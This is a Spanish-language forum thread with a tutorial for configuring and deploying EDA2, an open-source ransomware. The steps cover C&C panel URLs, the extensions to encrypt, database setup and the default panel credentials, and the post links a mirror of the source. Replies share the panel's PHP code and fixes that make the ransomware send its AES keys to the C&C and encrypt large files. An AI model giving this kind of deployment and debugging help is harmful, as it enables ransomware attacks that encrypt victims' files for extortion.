Underc0de

[In]Seguridad Informática => Análisis y desarrollo de malwares => Mensaje iniciado por: blackdrake en Diciembre 11, 2015, 03:14:59 PM

Título: Configurando EDA2
Publicado por: blackdrake en Diciembre 11, 2015, 03:14:59 PM
(http://revistaitnow.com/wp-content/uploads/2015/08/Antifraude1-768x542.jpg)

Hola a todos, a petición de varios usuarios (@GreyCod3 (https://underc0de.org/foro/index.php?action=profile;u=33609) y un usuario que envió un email), he realizado un tutorial básico y rápido de como configurar EDA2.

EDA2, es la versión actualizada de Hidden Tears, podéis obtener más información en estos post:

https://underc0de.org/foro/malware/hidden-tear-el-primer-ransomware-open-source/

https://underc0de.org/foro/malware/configurando-hidden-tear-(offline)/

https://underc0de.org/foro/malware/configurando-hidden-tear-(online)/

Repositorio oficial: https://github.com/utkusen/eda2
Mirror (by @fudmario (https://underc0de.org/foro/index.php?action=profile;u=30119)): https://www.sendspace.com/file/ivxptl

Al igual que Hidden Tears, EDA2 es un ransomware opensource con las siguientes características:


Funcionamiento

1. El ransomware envía una solicitud POST al C&C con la variable del nombre de usuario.
2. El C&C crea la key RSA pública /privada y envía la clave pública para al ransomware y guarda la clave privada en la base de datos
3. El programa crea una clave aleatoria para el algoritmo AES
4. El ransomware encripta los archivos con el algoritmo AES
5. El ransomware encripta la clave AES con la clave pública RSA y la envía al C&C vía POST  NO FUNCIONA A mi no me funcionó y tuve que reprogramarlo para el tutorial (más bien hice una chapuza rápida). Parece ser que envía los campos en blanco.
6. El C&C guarda la clave cifrada AES dentro de la base de datos. NO FUNCIONA  Al no recibir nada, no lo guarda.

Configuración

1. Lo primero con lo que nos encontramos, es la siguiente linea:

(http://i.imgur.com/r1yFIjE.png)

Desde esta, podremos modificar la longitud de la clave RSA.

2. Acto seguido, deberemos modificar estas 2 urls por las de nuestro hosting (habiendo subido previamente el panel).

(http://i.imgur.com/ScaRfJO.png)

En la siguiente línea podremos modificar la imagen que se pondrá de fondo de escritorio al ejecutar el ransomware:

(http://i.imgur.com/ms0Vt7G.png)

3. Podremos modificar el directorio desde donde empezará a cifrar los ficheros en esta linea:

(http://i.imgur.com/3Xyq51A.png)

4. Además, como en Hidden Tears, podremos modificar la extensión de nuestros ficheros cifrados.

(http://i.imgur.com/seh7Zzy.png)

5. Obviamente, podremos decidir que extensiones queremos cifrar, pudiendo añadir o eliminar de la lista que viene por defecto.

(http://imgur.com/8CFvwzZ.png)

6. Además, podemos modificar el algoritmo de creación de la clave, pudiendo poner una por defecto si queremos.

(http://imgur.com/K3mx0lR.png)

Nota: EDA2 utiliza .NET Framework 4.5, podremos modificar la versión desde aquí:
(http://imgur.com/lQztxb7.png)

7. Una vez tengamos el ransomware modificado, debemos crear la tabla dummy en una base de datos llamada panel (obviamente estos nombres se pueden modificar desde el código php, pero son los que vienen por defecto).:

(http://imgur.com/ZMNeDQd.png)

8. Ahora deberemos crear los siguientes campos en nuestra tabla:

(http://imgur.com/YFUS1ZY.png)
(http://imgur.com/cVK07SC.png)

Nota: No es necesario darles ese "tipo" de campo, requiere mucho menos espacio.

9. Una vez hecho esto, podremos logearnos en el panel de administración, cuya url sería dominio.com/panel/login.php, utilizando las credenciales por defecto, test:test

(http://imgur.com/iQBKxEW.png)

10. Este será el dashboard de nuestro panel, donde veremos la información de los infectados.

(http://imgur.com/DIft0H3.png)

11.  Verificamos que nuestros ficheros no están cifrados (pues no hemos ejecutado aún el ransomware).

(http://imgur.com/1atkkOH.png)

12. Ejecutamos EDA2 y veremos como cambia nuestro fondo de pantalla (por el que hemos seleccionado antes) y nuestros ficheros están cifrados. 

(http://i.imgur.com/D0vh4LI.png)

13. Accedemos al panel de administración para obtener la clave para descifrar los ficheros.

(http://imgur.com/KOj56c4.png)

14. Pulsamos sobre el botón que dice "Decipher" (Descifrar) y obtendremos la clave necesaria para hacerlo.

(http://i.imgur.com/7tJHBUj.png)

15. Utilizamos la clave en el software y listo!

(http://imgur.com/UgPnOFS.png)

Saludos!
Blackdrake
Título: Re:Configurando EDA2
Publicado por: Mr.Bot en Diciembre 15, 2015, 01:46:00 PM
Hello.

Can you tell me how you get AES Key? I have blank.  :(

Thank you!
Título: Re:Configurando EDA2
Publicado por: blackdrake en Diciembre 15, 2015, 06:31:10 PM
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Hello.

Can you tell me how you get AES Key? I have blank.  :(

Thank you!

The software automatically generates, you just have to edit the php file that gets for storage in your bd.

Regards.
Título: Re:Configurando EDA2
Publicado por: Mr.Bot en Diciembre 15, 2015, 09:51:51 PM
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Hello.

Can you tell me how you get AES Key? I have blank.  :(

Thank you!

The software automatically generates, you just have to edit the php file that gets for storage in your bd.

Regards.

Which php file need to edit? I work like on tutorial ... my AES key is only blank.
Título: Re:Configurando EDA2
Publicado por: blackdrake en Diciembre 16, 2015, 09:57:46 AM
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Which php file need to edit? I work like on tutorial ... my AES key is only blank.

As I put in paragraph 5 and 6, the AES key is not sent.

5. El ransomware encripta la clave AES con la clave pública RSA y la envía al C&C vía POST  NO FUNCIONA A mi no me funcionó y tuve que reprogramarlo para el tutorial (más bien hice una chapuza rápida). Parece ser que envía los campos en blanco.

6. El C&C guarda la clave cifrada AES dentro de la base de datos. NO FUNCIONA  Al no recibir nada, no lo guarda.

Basically what I did was edit the php code (savekey.php) to store the AES key in a txt hosted on my server then I stored the data in the db.

You can also edit the code in C # to store otherwise

Regards.
Título: Re:Configurando EDA2
Publicado por: simdia en Diciembre 18, 2015, 08:47:51 AM
Hello, i got a problem trying to login into webpanel for EDA2 hidden tear online webpanel.
I configured the database and everything correctly, but each time i try to login, it shows the below respone.:


string(4) "test" string(4) "test"
Fatal error: Call to undefined function password_verify() in /home/bialvmlq/public_html/panel/login.php on line 14

Although, i have made several installation of EDA webpanel on 2 different hosts, but still gives same response.

Help please to resolve this issue.
will be appreciated
Título: Re:Configurando EDA2
Publicado por: rush en Diciembre 18, 2015, 01:06:14 PM
can you put the code from this file  /home/bialvmlq/public_html/panel/login.php maybe something is wrong in the file
Título: Re:Configurando EDA2
Publicado por: simdia en Diciembre 18, 2015, 04:28:19 PM
here is the code in login.php:
------------
Código (php) [Seleccionar]
<?php

session_start
();

//Username:test
//Password:test

if(!empty($_POST)) {
$isim $_POST['login'];
$sifre $_POST['password'];

var_dump($isim$sifre);

if($isim == 'test' && password_verify($sifre'$2y$10$ZzV6jDI5HU.SUrpx0AFoQe9r49NI.NkpH5OhZ28Ug4G0MnmdVKaFy')) {
$_SESSION['auth'] = 1;
    
    header('Location: main.php');
    exit;
}
}

?>


<!DOCTYPE html>
<!--[if lt IE 7]> <html class="lt-ie9 lt-ie8 lt-ie7" lang="en"> <![endif]-->
<!--[if IE 7]> <html class="lt-ie9 lt-ie8" lang="en"> <![endif]-->
<!--[if IE 8]> <html class="lt-ie9" lang="en"> <![endif]-->
<!--[if gt IE 8]><!--> <html lang="en"> <!--<![endif]-->
<head>
  <meta charset="utf-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
  <title></title>
  <style type="text/css">
  .about,.login h1{text-align:center}.about a,.about a:hover,.login-help a{text-decoration:none}a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}.about{margin:70px auto 40px;padding:8px;width:260px;font:10px/18px 'Lucida Grande',Arial,sans-serif;color:#666;text-shadow:0 1px rgba(255,255,255,.25);background:#eee;background:rgba(250,250,250,.8);border-radius:4px;background-image:-webkit-linear-gradient(top,rgba(0,0,0,0),rgba(0,0,0,.1));background-image:-moz-linear-gradient(top,rgba(0,0,0,0),rgba(0,0,0,.1));background-image:-o-linear-gradient(top,rgba(0,0,0,0),rgba(0,0,0,.1));background-image:linear-gradient(to bottom,rgba(0,0,0,0),rgba(0,0,0,.1));-webkit-box-shadow:inset 0 1px rgba(255,255,255,.3),inset 0 0 0 1px rgba(255,255,255,.1),0 0 6px rgba(0,0,0,.2);box-shadow:inset 0 1px rgba(255,255,255,.3),inset 0 0 0 1px rgba(255,255,255,.1),0 0 6px rgba(0,0,0,.2)}.about a{color:#333;border-radius:2px;-webkit-transition:background .1s;-moz-transition:background .1s;-o-transition:background .1s;transition:background .1s}.about a:hover{background:#fafafa;background:rgba(255,255,255,.7)}.about-links{height:30px}.about-links>a{float:left;width:50%;line-height:30px;font-size:12px}.about-author{margin-top:5px}.about-author>a{padding:1px 3px;margin:0 -1px}body{font:13px/20px 'Lucida Grande',Tahoma,Verdana,sans-serif;color:#404040;background:#0ca3d2}.container{margin:80px auto;width:640px}.login{position:relative;margin:0 auto;padding:20px;width:310px;background:#fff;border-radius:3px;-webkit-box-shadow:0 0 200px rgba(255,255,255,.5),0 1px 2px rgba(0,0,0,.3);box-shadow:0 0 200px rgba(255,255,255,.5),0 1px 2px rgba(0,0,0,.3)}.login:before{content:'';position:absolute;top:-8px;right:-8px;bottom:-8px;left:-8px;z-index:-1;background:rgba(0,0,0,.08);border-radius:4px}.login h1{margin:-20px -20px 21px;line-height:40px;font-size:15px;font-weight:700;color:#555;text-shadow:0 1px #fff;background:#f3f3f3;border-bottom:1px solid #cfcfcf;border-radius:3px 3px 0 0;background-image:-webkit-linear-gradient(top,whiteffd,#eef2f5);background-image:-moz-linear-gradient(top,whiteffd,#eef2f5);background-image:-o-linear-gradient(top,whiteffd,#eef2f5);background-image:linear-gradient(to bottom,whiteffd,#eef2f5);-webkit-box-shadow:0 1px #f5f5f5;box-shadow:0 1px #f5f5f5}.login p{margin:20px 0 0}.login p:first-child{margin-top:0}.login input[type=password],.login input[type=text]{width:278px}.login p.remember_me{float:left;line-height:31px}.login p.remember_me label{font-size:12px;color:#777;cursor:pointer}.login p.remember_me input{position:relative;bottom:1px;margin-right:4px;vertical-align:middle}.login p.submit{text-align:right}.login-help{margin:20px 0;font-size:11px;color:#fff;text-align:center;text-shadow:0 1px #2a85a1}.login-help a{color:#cce7fa}.login-help a:hover{text-decoration:underline}:-moz-placeholder{color:#c9c9c9!important;font-size:13px}::-webkit-input-placeholder{color:#ccc;font-size:13px}input{font-family:'Lucida Grande',Tahoma,Verdana,sans-serif;font-size:14px}input[type=password],input[type=text]{margin:5px;padding:0 10px;width:200px;height:34px;color:#404040;background:#fff;border:1px solid;border-color:#c4c4c4 #d1d1d1 #d4d4d4;border-radius:2px;outline:#eff4f7 solid 5px;-moz-outline-radius:3px;-webkit-box-shadow:inset 0 1px 3px rgba(0,0,0,.12);box-shadow:inset 0 1px 3px rgba(0,0,0,.12)}input[type=password]:focus,input[type=text]:focus{border-color:#7dc9e2;outline-color:#dceefc;outline-offset:0}input[type=submit]{padding:0 18px;height:29px;font-size:12px;font-weight:700;color:#527881;text-shadow:0 1px #e3f1f1;background:#cde5ef;border:1px solid;border-color:#b4ccce #b3c0c8 #9eb9c2;border-radius:16px;outline:0;-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box;background-image:-webkit-linear-gradient(top,#edf5f8,#cde5ef);background-image:-moz-linear-gradient(top,#edf5f8,#cde5ef);background-image:-o-linear-gradient(top,#edf5f8,#cde5ef);background-image:linear-gradient(to bottom,#edf5f8,#cde5ef);-webkit-box-shadow:inset 0 1px #fff,0 1px 2px rgba(0,0,0,.15);box-shadow:inset 0 1px #fff,0 1px 2px rgba(0,0,0,.15)}input[type=submit]:active{background:#cde5ef;border-color:#9eb9c2 #b3c0c8 #b4ccce;-webkit-box-shadow:inset 0 0 3px rgba(0,0,0,.2);box-shadow:inset 0 0 3px rgba(0,0,0,.2)}.lt-ie9 input[type=password],.lt-ie9 input[type=text]{line-height:34px}
  </style>
  <!--[if lt IE 9]><script src="//html5shim.googlecode.com/svn/trunk/html5.js"></script><![endif]-->
</head>
<body>
  <section class="container">
    <div class="login">
      <h1>Login</h1>
      <form method="post" action="">
        <p><input type="text" name="login" value="" placeholder="Username"></p>
        <p><input type="password" name="password" value="" placeholder="Password"></p>
        <p class="submit"><input type="submit" name="commit" value="Login"></p>
      </form>
    </div>
</section>
</body>
</html>
Título: Re:Configurando EDA2
Publicado por: simdia en Diciembre 18, 2015, 07:41:05 PM
SOLVED !!
password_verify()  Requires PHP version 5.5.0
When you update the PHP version in your servers settings (PHP Version  settings), It worked.

Thanks all
Título: Re:Configurando EDA2
Publicado por: simdia en Diciembre 18, 2015, 08:25:17 PM
Kindly Specify, what should be edited in the below savekey.php file.
Kindly specify the right code.


---------------------------------------

Código (php) [Seleccionar]
<?php
if(!isset($_POST) || empty($_POST['pcname'])) {
exit;
}
$pcname $_POST['pcname'];
include 
'db.php';
$statement $connection->prepare("select id from dummy where pcname = ?");
$statement->execute([$pcname]);
$id $statement->fetch(PDO::FETCH_COLUMN);
if(!
$id) {
exit;
}
$aesencrypted $_POST['aesencrypted'];
$stmt $connection->prepare('UPDATE dummy SET aesencrypted = ? WHERE id = ?');
$stmt->execute([
$aesencrypted,
$id
]);

------------------------
Título: Re:Configurando EDA2
Publicado por: blackdrake en Diciembre 23, 2015, 03:53:21 PM
Check if you get the AES key in that file (save it for example an txt).

I don't remember if I modified the php code or the C # code to send him otherwise. (I think both)

I was made a lot of changes because the code wasn't working.

PD: I remove the code.

Regards.
Título: Re:Configurando EDA2
Publicado por: Visa en Diciembre 30, 2015, 07:30:29 AM
Hola.
Cómo elaborar un proyecto en Visual Studio 15?
Crear una compilación de vídeo eda2
Gracias.
Título: Re:Configurando EDA2
Publicado por: blackdrake en Diciembre 30, 2015, 07:38:09 AM
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Hola.
Cómo elaborar un proyecto en Visual Studio 15?
Crear una compilación de vídeo eda2
Gracias.

No entiendo tu pregunta, cual es tu problema? no importa que utilices Visual Studio 15, se puede compilar igual :D

Saludos.
Título: Re:Configurando EDA2
Publicado por: Visa en Diciembre 30, 2015, 07:52:25 AM
Lanzamiento del proyecto.
(http://s014.radikal.ru/i327/1512/8c/f5307137ea51t.jpg) (http://radikal.ru/fp/f7c9009a52e24477bd4a4b2f60dad0db)
Hay un vídeo para crear un proyecto?
Título: Re:Configurando EDA2
Publicado por: blackdrake en Diciembre 30, 2015, 09:04:14 AM
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Lanzamiento del proyecto.
(http://s014.radikal.ru/i327/1512/8c/f5307137ea51t.jpg) (http://radikal.ru/fp/f7c9009a52e24477bd4a4b2f60dad0db)
Hay un vídeo para crear un proyecto?

Prueba cambiando el .net framework, como dije antes:

Citar
Nota: EDA2 utiliza .NET Framework 4.5, podremos modificar la versión desde aquí:


(http://imgur.com/lQztxb7.png)



Saludos.
Título: Re:Configurando EDA2
Publicado por: fudmario en Diciembre 30, 2015, 09:18:08 AM
En realidad creo que no es por la version de compilacion de framework.

De la Imagen que muestra el error, lo unico que entiendo es el (404).....xD, aqui tienes mas informacion al respecto: https://en.wikipedia.org/wiki/HTTP_404
Es un error del tipo System.Net.WebException, en este caso, es posible que la dirección url  hacia el panel que pusiste en la configuracion no sea correcta, revisa eso.
Mas alla de eso, como recomendacion personal, es mejor que aprendas a  programar y tambien que conozcas como funciona un malware de este tipo,  ya que el proyecto en si no tiene control de errores, por lo cual llegaria a producir varios errores en tiempo de ejecución bajo ciertas circunstancias.
Título: Re:Configurando EDA2
Publicado por: Visa en Diciembre 30, 2015, 09:53:41 AM
BLACKDRAKE,FUDMARIO
Gracias por su respuesta!!!
FUDMARIO, Tenías razón!
Título: Re:Configurando EDA2
Publicado por: tiamat1 en Febrero 21, 2016, 03:11:51 PM
Muy Buenas, el EDA2 ya non existe en github, hay por ai outro repositorio do codigo fuente ?
Título: Re:Configurando EDA2
Publicado por: blackdrake en Febrero 22, 2016, 07:50:33 AM
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Muy Buenas, el EDA2 ya non existe en github, hay por ai outro repositorio do codigo fuente ?

https://github.com/utkusen/eda2

"This project is abandoned. If you are a researcher and want the code, contact me with your university or company e-mail http://utkusen.com/en/contact.html"

Sorry.
Título: Re:Configurando EDA2
Publicado por: fudmario en Febrero 22, 2016, 04:41:35 PM
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Muy Buenas, el EDA2 ya non existe en github, hay por ai outro repositorio do codigo fuente ?

si quieres el codigo fuente, aqui lo tienes: https://www.sendspace.com/file/ivxptl
Título: Re:Configurando EDA2
Publicado por: blackdrake en Febrero 23, 2016, 06:51:49 AM
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Muy Buenas, el EDA2 ya non existe en github, hay por ai outro repositorio do codigo fuente ?

si quieres el codigo fuente, aqui lo tienes: https://www.sendspace.com/file/ivxptl

Añadido como mirror, gracias @fudmario (https://underc0de.org/foro/index.php?action=profile;u=30119)
Título: Re:Configurando EDA2
Publicado por: ferrarohack en Febrero 27, 2016, 08:19:26 AM
Hola a todos ¿Me puede ayudar?
(http://oi65.tinypic.com/16h2mgg.jpg)
Título: Re:Configurando EDA2
Publicado por: blackdrake en Febrero 27, 2016, 12:28:19 PM
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Hola a todos ¿Me puede ayudar?
(http://oi65.tinypic.com/16h2mgg.jpg)

Como dije en el post y en algunos comentarios:

5. El ransomware encripta la clave AES con la clave pública RSA y la envía al C&C vía POST  NO FUNCIONA A mi no me funcionó y tuve que reprogramarlo para el tutorial (más bien hice una chapuza rápida). Parece ser que envía los campos en blanco.
6. El C&C guarda la clave cifrada AES dentro de la base de datos. NO FUNCIONA  Al no recibir nada, no lo guarda.

Vas a tener que modificar esas funciones.

Saludos.
Título: Re:Configurando EDA2
Publicado por: tiamat1 en Febrero 28, 2016, 03:30:51 PM
A mi pasa lo mismo, voy a estudiar o codigo y cambiar-lo
Título: Re:Configurando EDA2
Publicado por: zur4nus en Febrero 29, 2016, 11:36:20 AM
Si bien me guarda la clave AES en la bd el decipher.pho se me muestra en blanco....
Título: Re:Configurando EDA2
Publicado por: zftunebm en Mayo 11, 2016, 08:24:58 PM
When it has to encrypt a file larger than 400 MB I get this Out Of Memory error.
It works ok with a 300 MB file , but fails with a 400 MB file.
The test computer has Windows 7 64bit and 8GB RAM and 8 GB virtual memory, 100GB free hdd space.
Anyone know how to fix this?

See the end of this message for details on invoking
just-in-time (JIT) debugging instead of this dialog box.

************** Exception Text **************
System.OutOfMemoryException: Exception of type 'System.OutOfMemoryException' was thrown.
   at System.Security.Cryptography.CryptoStream.Write(Byte[] buffer, Int32 offset, Int32 count)
   at eda2.Form1.AES_Encrypt(Byte[] bytesToBeEncrypted, Byte[] passwordBytes)
   at eda2.Form1.EncryptFile(String file, String password)
   at eda2.Form1.encryptDirectory(String location, String password)
   at eda2.Form1.startAction()
   at eda2.Form1.Form1_Load(Object sender, EventArgs e)
   at System.Windows.Forms.Form.OnLoad(EventArgs e)
   at System.Windows.Forms.Form.OnCreateControl()
   at System.Windows.Forms.Control.CreateControl(Boolean fIgnoreVisible)
   at System.Windows.Forms.Control.CreateControl()
   at System.Windows.Forms.Control.WmShowWindow(Message& m)
   at System.Windows.Forms.Control.WndProc(Message& m)
   at System.Windows.Forms.ScrollableControl.WndProc(Message& m)
   at System.Windows.Forms.Form.WmShowWindow(Message& m)
   at System.Windows.Forms.Form.WndProc(Message& m)
   at System.Windows.Forms.Control.ControlNativeWindow.OnMessage(Message& m)
   at System.Windows.Forms.Control.ControlNativeWindow.WndProc(Message& m)
   at System.Windows.Forms.NativeWindow.Callback(IntPtr hWnd, Int32 msg, IntPtr wparam, IntPtr lparam)


************** Loaded Assemblies **************
Título: Re:Configurando EDA2
Publicado por: ho4x69 en Mayo 31, 2016, 06:30:02 PM
hola que hay! Compilo el programa exitosamente con los cambios y a la hora de ejecutarse no hace nada. me salta la version de net framework que la he bajado a 3.0 y se supone que deberia ejecutarse ya no me sale el error ese, en la otra version me pasaba lo mismo aqui la version que ya viene compilada me encrypta los archivos pero no me sale el LEEME.txt a que se puede deber? es algun problema mio? no entiendo porque no se ejecuta antes de bajar la version de net framework tambien se ejecutaba el archivo que viene ya compilado asi que lo de net framework supongo que no es aunque me salte el error ese. alguna ayuda ?
Título: Re:Configurando EDA2
Publicado por: fudmario en Noviembre 04, 2016, 08:43:24 PM
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
When it has to encrypt a file larger than 400 MB I get this Out Of Memory error.
It works ok with a 300 MB file , but fails with a 400 MB file.
The test computer has Windows 7 64bit and 8GB RAM and 8 GB virtual memory, 100GB free hdd space.
Anyone know how to fix this?


See the end of this message for details on invoking
just-in-time (JIT) debugging instead of this dialog box.

************** Exception Text **************
System.OutOfMemoryException: Exception of type 'System.OutOfMemoryException' was thrown.
   at System.Security.Cryptography.CryptoStream.Write(Byte[] buffer, Int32 offset, Int32 count)
   at eda2.Form1.AES_Encrypt(Byte[] bytesToBeEncrypted, Byte[] passwordBytes)
   at eda2.Form1.EncryptFile(String file, String password)
   at eda2.Form1.encryptDirectory(String location, String password)
   at eda2.Form1.startAction()
   at eda2.Form1.Form1_Load(Object sender, EventArgs e)
   at System.Windows.Forms.Form.OnLoad(EventArgs e)
   at System.Windows.Forms.Form.OnCreateControl()
   at System.Windows.Forms.Control.CreateControl(Boolean fIgnoreVisible)
   at System.Windows.Forms.Control.CreateControl()
   at System.Windows.Forms.Control.WmShowWindow(Message& m)
   at System.Windows.Forms.Control.WndProc(Message& m)
   at System.Windows.Forms.ScrollableControl.WndProc(Message& m)
   at System.Windows.Forms.Form.WmShowWindow(Message& m)
   at System.Windows.Forms.Form.WndProc(Message& m)
   at System.Windows.Forms.Control.ControlNativeWindow.OnMessage(Message& m)
   at System.Windows.Forms.Control.ControlNativeWindow.WndProc(Message& m)
   at System.Windows.Forms.NativeWindow.Callback(IntPtr hWnd, Int32 msg, IntPtr wparam, IntPtr lparam)

************** Loaded Assemblies **************

Hola @zftunebm : Se puede solucionar modificando la rutina de Cifrado, cambiando el [MemoryStream  (https://msdn.microsoft.com/es-es/library/system.io.memorystream%28v=vs.110%29.aspx)-> por -> FileStream (https://msdn.microsoft.com/en-us/library/system.io.filestream%28v=vs.110%29.aspx)] y para escribir estableciendo un buffer temporal con tamaño de buffer dependiendo del tamaño de archivo.



No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
hola que hay! Compilo el programa exitosamente con los cambios y a la hora de ejecutarse no hace nada. me salta la version de net framework que la he bajado a 3.0 y se supone que deberia ejecutarse ya no me sale el error ese, en la otra version me pasaba lo mismo aqui la version que ya viene compilada me encrypta los archivos pero no me sale el LEEME.txt a que se puede deber? es algun problema mio? no entiendo porque no se ejecuta antes de bajar la version de net framework tambien se ejecutaba el archivo que viene ya compilado asi que lo de net framework supongo que no es aunque me salte el error ese. alguna ayuda ?

Hola @ho4x69 : Si te genera algún tipo de error deberias mostrar el StackTrace para ver en donde esta el error.

I


Título: Re:Configurando EDA2
Publicado por: facutota en Octubre 17, 2017, 07:20:38 PM
Hola solo quería decirles q no envia la AES key porque el id de la base de datos se tiene que poner en auto incremental sino queda en null. Yo lo hice y funciono. Saludos
Título: Re:Configurando EDA2
Publicado por: facutota en Octubre 17, 2017, 07:44:38 PM
Otro punto importante en las pruebas que hice es que si el pcname esta repetido pone la aeskey en el de menor id, por lo tanto en el código se debería cambiar el pcname cuando este repetido, sino se va a modificar la aeskey del menor id y eso  va a hacer que no va funcione el decrypter.